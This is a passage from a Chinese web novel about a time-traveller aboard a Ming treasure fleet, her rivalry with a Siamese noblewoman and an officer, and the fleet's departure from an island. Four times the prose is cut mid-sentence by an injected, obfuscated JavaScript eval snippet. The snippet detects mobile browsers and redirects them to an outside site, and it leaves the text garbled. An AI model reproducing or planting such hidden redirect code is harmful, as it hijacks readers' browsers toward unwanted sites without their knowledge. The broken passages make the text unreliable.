薛誉无视它,把自己拐到这谁都能欺负她一脚的鬼地方来,还不给开金手指,总刷什么存在感! 分了大部分烤肉给千户大人,薛誉看着那群 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164874|196660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小虾米犯了难,这其实不是小虾米,航海系统说是小虾虎鱼,又虾又鱼的,给加了2积分呢,不过这东西太小了,都没一个指甲盖大,薛誉只能把它煮成海鲜汤喝,她又叹气了:要是有海带就好了。 系统梅开二度:【宿主可以去海上打捞,这个简单。】 薛誉:【……走开!】 将将吃完饭,薛誉问出了自己此行目的:“大人,小的的蛊可解了?” “解了。” 方意把她赶一边去,自己把最好的一条鱼处理内脏之后,串起来开烤。 “大人没吃饱?我这儿还有。” “不是,给督公送点去,拍拍马屁。” “……哦这样。” 方意侧头看她,“不对我这行为发表点意见?” 薛誉拢拢衣衫,现在天色已经彻底暗下来了,暮色苍茫,海水一浪一浪地袭来,气温骤降,跟舒爽的傍晚是一个天上一个地上,她蹲在火堆旁,伸手烤火,面容被火光映照得红通通的,吸吸鼻子道:“你们都是贵人,小的哪儿敢说什么啊?” “贵人?”方意嗤笑一声,“你不是在阴阳怪气我吧?” “小的哪儿敢呐。” 薛誉苦兮兮地,把头晃得像拨浪鼓,“你们一个命令,小的就得人头落地。” 方意将鱼翻个面,轻笑道:“在我这儿,只有该死的人才会人头落地。” “那,”薛誉试探地伸出一根手指,“如果,小人是说如果啊,如果我犯了个小错,说错了一句话,大人的意思是根本不会杀我是吗?” “是啊。” 薛誉想起来那个暹罗女子,脸色又是一变。 方意登时理解了她在想什么,一脸嘲笑道:“你太笨了,为什么我说我要把那姑娘卖了你也信?” “那……” 他懒洋洋地道:“既然知道了是哪儿的人,肯定要送回去啊。” 薛誉闻言,心中大石头落地,绽开一个真诚的笑。 烤好之后,方意唤人去给督公送去,开始扑灭火堆,薛誉在旁边蹲着看,自觉两人的关系似乎通过这一通谈话比之前好些,便趁热打铁问:“刚才大人说我不对这行为发表什么意见吗?难道别人会说些什么吗?” “能怎么说。走狗,鹰犬诸如此类,那些人也骂不出花来。” 火彻底被扑灭,灰烬被海风吹起,在朗朗的月华下飘舞着。远处宝船上也亮着暖黄的烛光,海面幽蓝,威险又迷人。薛誉望着海面久久不吭声,就在方意起身要离开之际,才慢慢道: “大人,其实无论人怎么做,也不会得到所有人的满意的。那些话不如不听。” “这是安慰我吗?小鱼?”方意忽地笑了,他站起来,向海面上停泊的小船行去,不回头地挥挥手, “完全没必要。我觉得那些人纯粹是嫉妒,嫉妒他们当不了陛下的走狗鹰犬……” 声音渐远,渐不可闻。 7. 野人岛5 第二日,薛誉在天佑号的舱室中睡来,照例乘小船到浅滩上,却在上岸时看见了个意想不到的身影。 ——那个暹罗姑娘。 对方盘腿坐在一棵椰树下,时不时抬手遮眼眺望远方。已近中午,天气炎热,纵使身处树荫之下,汗也一阵阵地淌,她一面扇风,神色焦躁。 薛誉迟疑地顿住脚步,左右望望,沙滩上空无一人,只余海风拂林的沙沙响声。 绕个远吧,薛誉刚下定决心,就见对方猛地跳起来,冲她奔来。 与昨日的狼狈不同,今天对方穿着得体。 合身的短衣,下身层层叠叠的筒裙,边缘绣着金线,筒裙很有层次感,衬得身姿高挑; 不同于薛誉的白皮肤,对方的皮肤是浅古铜色,阳光下闪着另类的色泽,深目高鼻,别有一番异域风情。 “终于来了!” 语气似恼似怒。 “等我?”薛誉很是诧异,“等我干什么?”说着,谨慎地用两手交叠着捂住嘴。 “你这是干什么?”对方跺了下脚。 干什么?当然是不想被再吃一次蛊虫了。 薛誉在现代也看过一些泰国的恐怖电影,知道泰国的蛊术就是下降头,都说碰见降头师,必须有多快跑多快、有多远跑多远,薛誉此时就是这么做的,她远远地绕开对方,快步朝椰林去, 在察觉到对方仍跟着后,薛誉飞奔起来,几乎是以百米冲刺的速度在逃离。 “等一下!” 对方气急败坏地在后面追,气喘吁吁地道:“你、你昨天不是……不是想知道我、我叫什么名字吗?” 【完成之后再给你三个金锭,如何?】千户大人那略带蛊惑的语气在薛誉脑海中回响起。 据千户大人说,船队下一个停靠之处是安南,能交易,那钱还是很有用的,薛誉脑中天人交战,脚步却非常诚实地逐渐慢下来,回头时仍一脸警惕。 手死死捂着嘴巴。 “我我可以告诉你我叫什么名字!” 薛誉:“那你倒是说啊。”语气瓮瓮的。 对方无力地抬抬手,“等我喘一下。”她一手拄着膝盖,腰背微弯,身体因急促的呼吸而不住起伏,海岛阳光大咧咧洒在她身上,金色披巾艳丽,迎风而舞,很美,像一条艳丽的毒蛇。 “你跟我去找下我的宠物,我我就告诉你。” 薛誉扭头就走。 也因此没看见对方犯了个大大的白眼,“你怕了?你是怕我昨天那个蛊虫了吧?喂喂!别走啊!” “激将法没用。”薛誉摆了摆手,仍向前行。 眼看薛誉的身影就要隐入椰林中,对方急了:“你就不觉得奇怪吗?!你为什么能听懂我的话?你以为那个蛊真的解开了吗?” 能、能听懂对方的话? 就像是一个人一直处于混沌中,无知无觉,无悲无喜,一朝恍然开悟似的,薛誉就是这样,她猛地回头,隔着一片浅白的沙滩望来,目光复杂。 “你跟我去,我彻底给你解了,如何?” “你脚上那条链子还是我给解开的,”薛誉嘟囔一句,双手抱头蹲下,语气悲怆,“恩将仇报啊!太过分了!”与此同时,她又想起了系统,幸亏关了提醒,不然肯定会获得个“小丑”之类的称号。 “那你答应了跟我去找宠物是吧?” “……我还有别的选择吗?” …… 二人出发。穿木桥,过平地,逐渐上了一道连绵走高的山坡,对方道:“我叫帕查雅。” “嗯。” 两人走的这道山坡一开始很缓,越走越陡,薛誉遥遥地望,高大的雨林在前方不远处消失,取而代之的是一片片阔叶林,她倒没生出退却之意,因为路并不难走。 这个地方应该是野人们常来的,被清理过,路两旁时不时能看到一些折断的长矛。有一只仍插在一颗野兽头颅中。 它的四肢、躯干都被砍掉,旁边有一堆烧黑的灰烬,四散着几根啃剩的骨头。 插着长矛的头颅白骨森森,舌头、脑干脑髓什么的一干二净,连牙齿也一颗不剩,估计是拔下来做饰品了。 再往前,路渐行渐窄,仅能一人通过。这里不再有砍倒的树木,头顶被密林遮挡着阳光,耳边有各种不知名小虫的鸣叫,偶尔树冠里会惊飞几只鸟儿雀儿。脚下的土壤也变了,从一开始潮湿的砖红色土壤变成黄色、暗棕色。空气凉爽,腐殖质的味道强势侵入鼻腔。薛誉皱皱鼻头,看向走在前边的人, “你的宠物确定在这儿吗?还有多久到啊?” “马上到。” 帕查雅气喘不休:“那个野蛮人说扔到这片了。” “天黑之前必须返回……” 薛誉没说完,前方一声惊呼,帕查雅消失在视野中。 慌慌张张跑过去一看,是个坑洞,上面一层落叶,和着泥土,加上密林中光线不好,不留意还真的注意不到,薛誉看了看四周,试探着唤了几声,没有人现身。 只能自救。 坑洞三米深,里面还有积水,擦着洞边下去的帕查雅披巾也脏了,臂环都被刮蹭下来一只,脸上青一道黄一道地抬眼望来,端的是一副惊慌,可口气还是颐指气使的:“拉我上去!” “……行。” 正要转身去找一条软枝,薛誉却忽然醒悟过来,此时不解蛊更待何时?她转身回去,居高临下道:“解蛊再救。” “你竟敢命令我?!” 薛誉蹲下身,摊摊手,一脸“你奈何我何”,“我给你斩链子,陪你找宠物,但万一你说话不算数怎么办!” 毕竟这人有前科。 帕查雅气得跺脚,“解了解了,其实昨天你们那个方大人让我解了!就是有点后遗症而已——你能听懂暹罗语,这又不是坏事!”她在坑洞底绕圈圈,一脸倔强,眼角已然湿润。 “我去找个树枝来,不过,”薛誉叹了口气,往前探身,两人的距离被拉近些许,她语气软下来:“我又没走,你哭什么。我可没欺负你。” “谁哭了?!你才哭了。”又是气急败坏的口吻了。 薛誉忙上举两手,做出一副投降姿态,悻悻地:“你没哭我错了。” 好不容易把人弄出来,薛誉累瘫在地,帕查雅则是累哼哼且气哼哼地拍自己身上的泥土,除了把披巾弄得更脏之外,毫无作用。 歇了一会儿,两人继续前行,终于到达山顶。 山顶是一片一片稀疏的灌木丛,一只孔雀在那儿绕着圈圈,神似将才的某人。 它浑身暗淡,呈浅褐色,旁边一只开屏的雄孔雀倒伏在地,了无声息。帕查雅见状,忙冲过去,小心翼翼地捧起雄孔雀的头,喃喃道:“死了。”不由得大哭起来。 哭得一抖一抖的,雄孔雀的尾羽却在夕阳中泛着蓝宝石样的华美色泽。 一旁的薛誉张了张嘴,不知该说什么,只好走到一边不作打扰。 从山顶向下望,这边风景独好。 海面辽阔,举目远望不见陆地踪影,只余一排排大宝船整齐码列在小岛周边,海上空落落的,这几天野人们不仅不出海,甚至树巢也不出,只有饭点才会三两个地出来燃起炊烟。 等帕查雅哭够了,两人一同下山。 到平地时,一轮朗月高悬天际,几个野人给平地中央的香木神摆放祭品,虔诚地跪下,“叽叽咕咕”念了一阵方才满意离去。这里火光明亮,隔十来步就有一熊熊燃烧的火把,成列的士兵小队来来回回地巡逻。 “我走了。” 帕查雅幽魂似的飘到树房子前,怀中珍而重之地环抱着那只死去的雄孔雀,平静的语气中透露着深深的疲惫感:“今天谢谢你。” 正想安慰两句,洞门已坚决闭上,薛誉顿在原地,很是茫然。 不一会儿,肚子“咕咕”地叫,薛誉只得拖着脚步往沙滩去。 先捡个椰子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164875|196660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解解渴,再捕两条小鱼解解饿。 许是否极泰来,捡椰子时薛誉撞见了一只野鸡样的动物,它似乎脚受了伤,见了人只管凄厉地叫,跑得却很慢。薛誉忙从系统里取出捕鱼叉,给了它致命一击。 倒拎野鸡,薛誉走到浅滩与海水的交界地带,蹲下身,低头处理起来。 要是以前,别说鸡,她甚至不敢给死鱼刮鳞——有些鱼都被五马分尸了,还能“垂死病中惊坐起”。 不过杀过人之后,这些都是小儿科了。 简单处理后,生火去毛,长刀剁成小块,扔进开口的椰子里,架在火上烧。酱料就用昨晚剩的。薛誉蹲在火堆前,眸中闪着火光,抹了把汗,兴致勃勃地想,这回至少得10积分! 昨晚的“串串烧烤”一下子给了6积分,今晚这个又是“创新菜”,而上山这一路薛誉解锁了蕉麻、烟叶、几种坚果,算下来现在至少有20、30的积分。 离解锁神奇罗盘还很远。 薛誉想试试其他方法能不能增加积分。照常理来说,这个神奇罗盘应当是金手指一类的东西。 吃过并不美味、也不正宗的椰子鸡后,要走之际,远远地听到木桥那边有一阵吵嚷声。 有了上次的经验,薛誉本应掉头就跑,但该死的好奇心让她忍不住寻过去。 树下却是千户大人。 那阵叫骂声就在耳畔,左右看看,遍寻不得。 “抬头看看。”方意双手环胸,冷冷地瞪视着悬坐在树冠上之人。 “帕查雅?” “你知道她的名字了?”方意挑挑眉。 薛誉老老实实道:“我今天陪她去找孔雀了,作为回报她告诉我的。” 方意眯了眯眼,盯着树上的人,嗤笑:“你倒是会找,我不答应派人给你。你倒自己骗了个耳根子软的去了。” 巨树之上的帕查雅辩解:“我没骗她!”声音不自觉地低下去:“不过她确实挺好,比你强多了!”最后半句喊得很大声。 方意掏掏耳朵,退开几步,一脸嫌弃道:“吵死了。这么吵,今晚你就在上面呆着吧!”转脸朝薛誉挥挥手:“我们走。” 薛誉不明所以地跟上,徒留帕查雅在古木之上呐喊:“回来!给我回来——!”见人真的走远了,绝望道:“你完蛋了!等我下去!叫你们两个好瞧!” 声音穿林而过,甚至引得木屋中出来个一个小太监质问情况。 “房子这么快就建好了?”薛誉望房兴叹,她本想说这就是大国速度吗,忙改口道:“这就是天朝速度吗?” 方意嗤了声,“那个帕查雅要是像你一样懂得尊重我天朝,就不会被扔树上了。” “大人你干的?” “对啊,怎么?不行?” “小的可没说。”声音低低。 薛誉看着那个小太监嗓音尖利地问明了情况,复又进去,不禁怪道:“督公既住不惯营帐,为何不住在船上啊?”也有很多人白天在小岛上,晚上回舱室中睡,她自己就是。 “督公晕船。” “哦——”薛誉想起晕船十分厉害的温医官,后怕地松口气,幸亏她是从小习惯的,不然也太悲催了。 方意瞥了眼薛誉,“我发现小鱼你小小年纪还真挺怜香惜玉的,她叫你去你就跟着去了?荒山野岭的,胆子倒大!” 薛誉不敢说自己不信他说的蛊虫解了、反信了帕查雅,只能悻悻道:“大人不是说我完成任务就给我三个金锭吗?” “原来是掉钱眼了。” 方意呼出一口气,“你明天去领就行。不过船上也没什么好花钱的地方。” 薛誉佯装畅想未来:“等我以后回渔村了,娶媳妇用!” 方意朗声笑起来。 “千户大人?”薛誉偷眼望他,纠结半晌终是结结巴巴道:“我能不能……能不能去把帕查雅给弄下来呢?大人你看这荒山野岭的,说不定她一个姑娘会害怕。” 8. 野人岛6 好不容易得到千户大人的允准,薛誉复来到那株古木下,设法将人救下来。 “他完了!” 帕查雅一踏上地面,气哼哼地,肩膀发着细颤,眸中隐有水色,嘴巴却跟机关枪似的:“等我回国,马上让那个什么方千户完蛋!气死我了,竟敢把我丢树上!” “嘘——!” 薛誉竖起一根食指在唇间:“他是锦衣卫……就是特务,别人说什么悄悄话他都能知道的那种。小心他知道了再把你丢上去,我可没力气再去救你啊。” “我、我才不怕呢!” 声音渐弱。 皎皎月华下,薛誉看到对方的腮边犹有泪痕——偷哭来着,可刚才见到自己折返回来倒是一脸凶巴巴地,像一只瘦弱但迫不及待亮出爪牙的小兽,薛誉有点好笑地摇摇头,认真道:“你不是抱着孔雀回屋了吗?怎么又碰见他,还被抛树上了?” 帕查雅哼了一声,将头扭至一旁, “不告诉你!” 她脸上一阵恼怒之色。 ——雄孔雀死了,悲伤过后,帕查雅便想去找那个野蛮人算账,谁知道那什么方千户说什么也不让,说不能在这里杀了对方什么的,“懦夫!”她恨恨地骂,骂他一个尤不解恨,逐渐扩展到整只船队乃至于天朝。 不知哪个字眼惹怒了对方,他登时变了脸色,冷笑连连,拎小鸡仔似的拎她到巨树下,飞身上了高几十米的树冠。 然后自己下去了,留她一个孤零零秋风落叶似的发抖,还十分恶劣地在下面看笑话,直到薛誉来。 “咕咕…” 肚子不合时宜地响起。 “我还剩点椰子鸡,”薛誉也不恼,“你吃点吗?” “你邀请的话我就吃点好了。” “……”还挺勉强。 等帕查雅吃饱喝足,两人倚在椰树下有一搭没一搭地聊天,“真的太过分了!”间或夹杂一句帕查雅小小声的抱怨,薛誉头一点一点地,困倦道:“啊对。”海风习习,安慰之语渺渺,当晨雾笼罩这座小岛时,一队士兵从林中整齐步出。 他们二人合力挑一只大木桶,沉甸甸地往船队方向去,木桶装满了淡水,晃悠悠,不时倾洒出来,湿了一路浅滩。 这样来回两三趟后,船队其他人也陆续出现,有船工搬了营帐、炊具等杂七杂八的东西一趟趟往船边运送,迷迷瞪瞪的薛誉听到了温医官吹胡子瞪眼的声音:“稳重点稳重点,小心撞了贵人你们这两个小崽子!” 还有一些指挥声。 “我的孔雀!” 旁边的帕查雅瞬间惊醒,一下蹦起身,飞也似的奔入椰林中。 薛誉却没被这个小插曲影响,她拢拢衣衫,再度倚着椰树,在微熹的晨光里沉沉睡去。 头顶忽有人道:“香玉呢?”睁睁沉重的眼皮,薛誉瞧见一双被锦袍半遮半掩的结实大腿,视线缓慢上挪,一寸寸地,终于与千户大人居高临下的目光碰个正着。 只一眼,对方哑然失笑:“一只眼睁着,一只眼闭着?一夜不见成了独眼龙?” 薛誉忙跳起, “呃——!”方向不对,她狠狠地撞上了千户大人的下巴,对方惊叫一声。 “没、没事吧?” 她结结巴巴地问,只见一拳之遥的唇瓣上被牙狠狠磕破了一层皮,千户大人拧着眉头抬手拭了一把,一滴艳红落在他的指尖上。 “没事……” 回答声有点气恼。 “&*#@%……” “老实点!” 此时的椰林中传来阵阵的叫嚷声,是野人首领桑拉被两个锦衣卫架着,形容狼狈地从椰林中走出。 桑拉被紧紧捆着,捆年猪似的,他眼睛红肿,面色青灰,像是几天几夜没睡了。 架着他的两个锦衣卫嫌他个矮速度慢,不住推搡他,惹得桑拉骂骂咧咧。 “这是……?”薛誉不解,面前的人却径直转身,大步朝桑拉行去,“堵口!” 被堵住嘴的桑拉一脸愤恨地死死盯着方意。后者浑不在意,喝着锦衣卫、士兵和船工们: “都动作麻利些!巳时一刻准时开船,延误者鞭三十!” 此言一出,搬运速度骤然加快。三两趟之后,眼见已经没人再往椰林中钻了。“*¥#@……%!”又一阵“叽里咕噜”的古怪叫嚷过后,一群野人从林中奔出。 他们持着长矛,行动灵活,面上涂着红一道棕一道的染料,一瞬间仿佛时光倒流,初上岛的画面再次出现在薛誉面前,只是这次野人们对准的却是千户大人。 千户大人丝毫不慌,甚至玩味地挑挑眉,道:“真是不是一家人,不进一家门,勇气可嘉!”他将通译叫来,“问问这是要做什么?如果是要求我放了桑拉,那免谈!” 通译交涉一会儿,苦着脸回来,“大人英明,桑吉拉托确实是这个意思。” ——桑吉拉托是女野人的名字。 “大人!船队已准备就绪,”海边跑来一名总旗,气喘吁吁道:“只待大人一声令下,即可抛锚起航。” 方意挥挥手让人退下,跟通译道:“告诉她,船队即刻出发,关于我为什么要带走桑拉已经说得很明白了。懒得重复。不过如果她不要命了,想跟我天朝的兵士们试练两把,那就尽管放马过来。” 十来只兵士小队迅速在方意身后集结。 对不远处的野人们造成了很大的震慑。 只有桑吉拉托一个例外,她眼睛充血,眼珠鼓胀突出,见身边族人皆现出退缩之色,不由得大骂,不过这边的薛誉听不懂也就是了,她仍然不解,试探性地道:“所以大人究竟为何要带走桑拉呢?”因为破坏天佑号? 那不应该将那日试图作乱的全都带走吗? “理由来了。”方意指指密林中奔跃而来的身影。 ——是帕查雅。 方意继续道:“这位桑拉首领硬说帕查雅并非他掳掠而来,帕查雅指责他是为脱罪而撒谎,双方争执不下,”说着说着,他笑起来,动作牵动唇上的伤口,痛哼一声又道:“为了搞清楚事情真相,只好请这位桑拉首领走一趟暹罗了……” 薛誉倒是听出了千户大人话里的未尽之意: 船队解救了帕查雅,要将身份尊崇的帕查雅送回暹罗,就不得不把罪魁祸首一并抓回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164876|196660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 若帕查雅的确不是被桑拉掳掠至此的,那也许会被暹罗放回来;可若真是,那是死是活就连船队也难置喙了。 “为什么给他们留下作物种子?”抱着雌孔雀飞奔而来的帕查雅十分不满,“他们都跟那个桑拉是一伙的,都是坏人!” 方意耸耸肩,“那是船队支付的淡水的报酬。一码归一码。” 帕查雅跺了跺脚,满脸不快地朝天佑号的方向奔去。 而野人们那边,通译还在不住地“引诱”着: “作物种子以及这些陶瓷玉器,便是我们支付的淡水费用。你们前日险些将我们派来的勇士活祭,我们方大人已然大人不记小人过。至于桑拉首领被带走一事,若不是他做的,自然会好端端回来,真要是他干的,那是自作自受怪不得别人!你们及时收手,这些工具便也是你们的,若是不识好歹,休怪刀枪无眼。” 野人们你看看我,我看看你,低声谋划着什么。 令人傻眼的一幕来了——野人们将桑吉拉托绑了起来,然后派了十来个代表上前取走了所有的工具,并远远地对方意挥了挥手,示意船队尽快离去。 至此,千户大人兵不血刃地带着人乘坐小船回到了天佑号上。 * 再次踏上天佑号,薛誉说不清心里到底是什么感受—— 明明天佑号在未来很长一段时间里都要行驶在汪洋大海中,是真正的漂泊之所,可她此时此却感受到了一种诡异的心安。 抛锚起航,系统提示音在薛誉脑中响起: 【恭喜宿主解锁海图:野人岛!积分+699。】千万朵电子烟花在光屏上绽放。 薛誉惊喜“诶”了声,打开自己的面板: 【宿主姓名:薛誉(等级:L1)(获得称号:小小航海家) 年龄:18 身份:大学生/渔民/阴阳生 积分:732(获得称号:略有薄产) 生物图鉴:黄鱼,带鱼,马鲛,皮皮虾,椰子,小虾虎鱼…… 海图:东海,南海(野人岛)。 商城:已解锁!(快来豪掷千金吧!) 背包:神奇罗盘X1、永不熄灭的蜡烛X1、饼干X3、淡水珠X1,指南针X1,干粮X3,淡水X8,捕鱼叉X1,长刀X1,匕首X1,信号弹X1,船桨X2,金锭X4】 积分大增加,商城中解锁了许多东西,薛誉正喜滋滋地浏览,不远处的甲板上传来一声嗤笑: “真是艺高人胆大!居然能追到这儿来!” 薛誉好奇抬头,顺着话音传来的方向望去,只一眼,就惊掉了下巴。 ——桑吉拉托居然挣脱了野人们的束缚,独自一人乘着小大船往此处划。 一边划,一边“叽里咕噜”地叫,叫声撕心裂肺,别的薛誉都听不懂,只有一个“桑拉”一遍又一遍地被海风送入她耳中。 “天哪。”薛誉感慨万千,微微屏住呼吸,眼睛一眨不眨地望着辽阔海面上的那只小大船。上一次被其追赶时,她慌急了,这一次倒是有点可怜对方了。 以独木舟追大宝船,何异于蜉蝣撼树哉? 9. 邻居 果然,没一会儿,独木舟就被远远落在后面,渐渐变成一个小黑点。 薛誉双手扒着舷栏隔着汪洋遥遥望,只可惜宝船速度越来越快,不过瞬间,小黑点就消失不见,再难用肉眼捕捉到,怅然叹口气,薛誉转身下甲板,往舱房走。 边走边看刚解锁的海图,不看不知道,一看吓一跳。 野人岛根本不是菲律宾群岛的一部分,估计是东北季风害她早早偏离了既定方向,亏得运气不错,不然就被活活困死在无边无际的大海上了。 而当初出发的十来名勇士,除却被她和光头杀掉的外,也有三人直今未归,他们的命运可想而知。薛誉摇摇头,尽量不再想这些可怕的东西。 到了舱房前,不及推门,先被门口的三五个船工吓一跳:“你们在这儿是要做什么……?” 领头的忙解释。 原来是千户大人吩咐他们来这里帮忙搬东西、换舱房,薛誉松口气。 她记起来了,自己临出发前,千户大人曾画饼道:“等你成功归来,我给你换个好舱房。”没想到千户大人竟不是那种无良老板,答应了就会做到。 她东西不多,一趟就搬完了,新舱房真的很不错!薛誉摸摸这儿,看看那儿,犹如身在梦中,很是新鲜。 这个舱房比原先那个不仅面积阔了三四倍,也不再是吊床,而是镶嵌进舱壁的板床。床边还有炮口投射而进的天光。舱壁上还有许多可以储物的木格子。 十分不错! 薛誉很满意,高兴地送走船工们,正要躺上新床试试舒适程度,舱门被猛地推开。 “砰”地撞上舱壁。 一道熟悉的女声传来:“我要住他附近!” “那你得问小鱼,”慢悠悠跟进来的千户大人双手环胸,丝毫不慌,甚至还有闲情逸致冲床上的薛誉打招呼:“小鱼,新屋子如何?” “……挺好的。”如果你们不来就更好了。薛誉默默爬起来,疑问还没出口,先深呼吸一口气,她强撑起一个笑脸,问帕查雅:“为什么要住我附近呢?” “他不是个好人!”——这个他,特指方意。 “坏蛋”方意耸耸肩,一脸的无可奈何。 薛誉心累道:“这两者之间有什么必然联系吗?” 帕查雅理直气壮:“当然有联系!”她用“你真是个笨蛋”的眼神瞥薛誉,然后毫不见外地把薛誉这个舱房主人用手扒拉到一边,一屁股坐在了薛誉原本要躺着的床上,“我不住你旁边就要被这个坏蛋安排住他旁边!我当然不能住他旁边,不然万一……” “……万一我又把你丢树上是吗?”方意懒懒地打个哈欠,温(欠)馨(揍)提(挑)示(衅)道:“这船上可没有树,你不用担心。” “你还敢说!” 帕查雅气得结结巴巴道:“你、你这是欺负我,欺负暹罗!” 方意收起懒散的笑脸,几分认真道:“我对你就是对你,不要上升。要真说起来你说的那些对天朝不敬的话我还没追究呢。” 帕查雅哼道:“你让我住他旁边,我就道歉,然后你欺负我的事就当没发生过。” “可以。” 可以什么啊可以?问过她这个当事人了吗? 不过这里的两个人显然都不太在意薛誉的意见,帕查雅道歉后,方意状似好奇地问了一嘴:“难道我是坏蛋,小鱼就是好人了?” “反正我觉得他挺老实的。” “……”“老实人”薛誉:“我谢谢你。” 帕查雅大气地摆摆手:“不用谢。” 看吧,隔着时空的距离,就连阴阳对方,对方也接受收不到,像是愤怒地打出一拳,却打到一团软绵绵的棉花上,薛誉无力极了,缓缓地滑坐到地上。 “好了,” 方意站直身体,果断道:“小鱼你陪她转转,然后这段时间她就住你隔壁。”走出几步,又想起什么,回头嘱咐道:“有什么事直接去艉楼找我。看好她,别让她乱闯。” 薛誉有气无力“嗯”了一声,方意满意且放心地推门离开。缓了好一会儿,她不得不接受现实——现在自己还不能休息,且从明天开始要去舵楼上“007”。 简直让人绝望。 更让人绝望的是,等起身后,薛誉发现某人已经毫不见外地在本属于她的床上躺下了,时不时翻滚两下,还抱怨道:“这床真硬!不像给人睡的!” “不是人”的薛誉咬牙微笑道:“……你知道在中国有句古话吗?” “嗯?” “男女授受不亲。” “什么亲?” 薛誉一字一顿道:“男、女、授、受、不、亲。” “男女什么?” “授!受!不!亲!”逐渐暴躁。 “兽?”帕查雅率先不耐烦起来,一把撩起被子蒙住头脸,“什么野兽?好烦好烦你好烦。” 啊啊啊啊啊啊——!想把人赶出去的薛誉被气得眼前发晕,跟她玩“马冬梅”呢是吧。 久久没有回音,帕查雅一脚踢开被子,仰头看向站在床头后的薛誉,瘪了瘪嘴:“我好累,想休息。等会儿吃晚饭的时候你再说话吧。” 也不管薛誉是否答应,自顾自地睡了。 呼吸绵长,竟睡得很是香甜! 薛誉左右环顾一遍,没有多余的栖身之所,只好委委屈屈地缩到舱门后边蜷着身子闭眼假寐。 这根本不是个休息的好姿势,没一会儿腿就因为血液不流通发麻了,站起来那瞬间十分之酸爽,好不容易活动通顺,薛誉尽职尽守地来到床边,脑中灵光一现,她无限地靠近再靠近,直到快跟对方脸贴脸,方才慢吞吞摇了摇对方,道: “该起了。” 帕查雅一睁眼,就对上一双挨她挨得极近的黑眼珠,眼珠子还滴溜溜地转,骇得她惊恐出声: “啊——!” “是你让我叫你的。”皮了一下的薛誉很开心,她站直身体,被抢床铺的郁闷一扫而光,举举两手,满眼无辜。 帕查雅白了她一眼,又白了她一眼,气哼哼地跳起来:“你完蛋了!” “唔?我又完蛋了?” 当了一次复读机的薛誉忽然很想笑,却见对方气得像只河豚,马上就要爆炸,忙严肃表情,道:“好了好了,我再不了。” 帕查雅昂了昂头,看过来的眼神里仍在无声控诉着薛誉的“恶行”。 “去开门!” 对峙片刻后,终是饥饿占据上风,帕查雅不情不愿地捂住“咕咕”叫的肚子率先败下阵来,朝舱门努努嘴道:“先不跟你计较,现在先带我去吃饭。”活脱脱一只昂头昂脑的骄傲孔雀。 …… 吃过了饭,薛誉按照千户大人的指示,带帕查雅在天佑号上到处转悠。 不一会儿,帕查雅就厌烦了:“这儿也不能去,那儿也不能上,还不如回去睡觉!” 薛誉无奈摊摊手, “艉楼是指挥中心,肯定不能去,上面的舵楼是舵工掌舵的地方,阴阳生们还要在上面观天象,上去就是捣乱,肯定不行。至于瞭望台,那上面有士兵啊,刚才你要冲上去,他拿起火铳就开始瞄准,多吓人!我可不要再靠近了……” “行行行,”帕查雅投降道:“你烦死了,我不转了,我要回去休息。” 薛誉心中暗喜,面上却为难:“可千户大人说让我带你转转,看着你不要闯祸,我要是不按他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171397|196660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说的做,怕挨罚……” “我今晚就呆在我自己的舱房里不出来,可以了吧?”帕查雅捂住耳朵,气汹汹地下舱口梯,往自己的舱房奔去。 看着对方进门、“砰”地闭门,薛誉松口气,任务终于完成,这可比在舵楼上值班累多了。 第二天不等天明,薛誉逃也逃似的上了舵楼。 此举不仅是为躲帕查雅,更是为了躲千户大人。 前者固然吵闹,可后者总把人当生产队的驴使唤,实在叫人累得慌。甚至于值完这天的白班,薛誉反倒心清气爽,浑身说不出来的轻松。一想到回去需要面对的人和事,薛誉拖延症大爆发,索性舵楼也不下。 “薛生,你还不走吗?” 一个熟人迎面走来,是崔大野。 薛誉忙装模作样地掀开日志本,呵呵道:“我再检查检查,检查检查……” 崔大野凑过去,也跟着浏览一遍,疑惑道:“没问题呀,薛生你觉得哪里可能存在问题?” 